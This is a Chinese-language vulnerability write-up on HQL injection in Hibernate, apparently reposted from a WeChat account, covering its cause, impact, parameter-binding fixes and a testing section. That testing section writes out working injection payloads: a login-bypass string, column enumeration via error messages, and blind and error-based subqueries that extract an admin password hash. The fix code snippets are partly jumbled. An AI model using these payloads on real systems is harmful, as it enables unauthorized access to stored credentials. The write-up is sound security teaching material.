2.HQL注入漏洞
漏洞名称
HQL注入漏洞
漏洞地址
https://www.cnblogs.com/-qing-/p/11650774.html
漏洞等级
中危**
漏洞描述
Hibernate是一类O/R mapping框架,其内部允许使用一般数据库查询语言或者Hibernate查询语言,同时对数据库进行增、删、改、查操作。
Hibernate查询语言注入指在Hibernate中程序没有细致地过滤用户输入的数据导致攻击数据植入程序而被当作代码执行。
我们知道,只有在知晓数据库名称及数据库列名称的前提下,方可对数据库里面的记录进行查询。可是,HQL查询语言一般并不支持union查询,所以也就没法获取数据库名称及数据库列名称了,自然也就没法对数据库里面的记录进行查询了。因此,只要通过某种方法知晓数据库名称及数据库列名称,Hibernate查询语言注入就可成功。
漏洞成因
在Hibernate中程序没有细致地过滤用户输入的数据导致攻击数据植入程序而被当作代码执行。
HQL注入 Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。
HQL查询是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。所以错误消息来源有两种,一种来自hibernate引擎,一种来自数据库。
漏洞危害
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致攻击者完全控制服务器。
修复方案
1.对参数名称进行绑定:Query query=session.createQuery("from User user where user.name=:customername and user:customerage=:age");
2.对参数位置进行邦定:
query.setString("customername",name);
query.setInteger("customerage",age);Query query=session.createQuery("from User user where user.name=? and user.age =?");
3.
query.setString(0,name);
query.setInteger(1,age);setParameter()
方法:String hql="from User user where user.name=:customername";
4.
Query query=session.createQuery(hql);
query.setParameter("customername",name,Hibernate.STRING);setProperties()
方法:
将命名参数与一个对象的属性值绑定在一起
Customer customer=new Customer();
customer.setName("pansl");
customer.setAge(80);
Query query=session.createQuery("from Customer c where c.name=:name and c.age=:age");
query.setProperties(customer);
setProperties()
方法会自动将customer
对象实例的属性值匹配到命名参数上,但是要求命名参数名称必须要与实体对象相应的属性同名。 5. HQL拼接方法,这种方式是最常用,而且容易忽视且容易被注入的,通常做法就是对参数的特殊字符进行过滤,推荐大家使用 Spring
工具包的StringEscapeUtils.escapeSql()
方法对参数进行过滤:
public static void main(String[] args) {
String str = StringEscapeUtils.escapeSql("'");
System.out.println(str);
}
测试过程
HQL
语法:
注意这里查询的都是JAVA类对象
select "对象.属性名"
from "对象名"
where "条件"
group by "对象.属性名" having "分组条件"
order by "对象.属性名"
注入:
aaaa' or 1=1 or "='
还有一种是百分号里注入 大同小异:
session.createQuery("from Book where title like '%" + userInput + "%' and published = true")
注入:
from Bookwhere title like '%' or 1=1 or ''='%' and published = true
注入爆出隐藏的列:
from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true
from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true
列出所有的列
利用返回错误异常消息
列名不是Hibernate中实体定义的一部分,则其会触发异常
from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true
org.hibernate.exception.SQLGrammarException:
Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]
HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。
盲注
如果查询不用的表,镶嵌使用子查询。
from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true
报错注入
from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe";
SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_1
目前来看,HQL注入除了万能密码、知道表名列名的情况下进行盲注外,我没有想到比较好的方法来进行漏洞利用,个人认为Hibernate中的注入比较鸡肋。
复测情况
已修复
测试人员
南风向晚
粉丝主动打赏看这里
持续更新,基础漏洞共105篇
原文始发于微信公众号(利刃藏锋):HQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论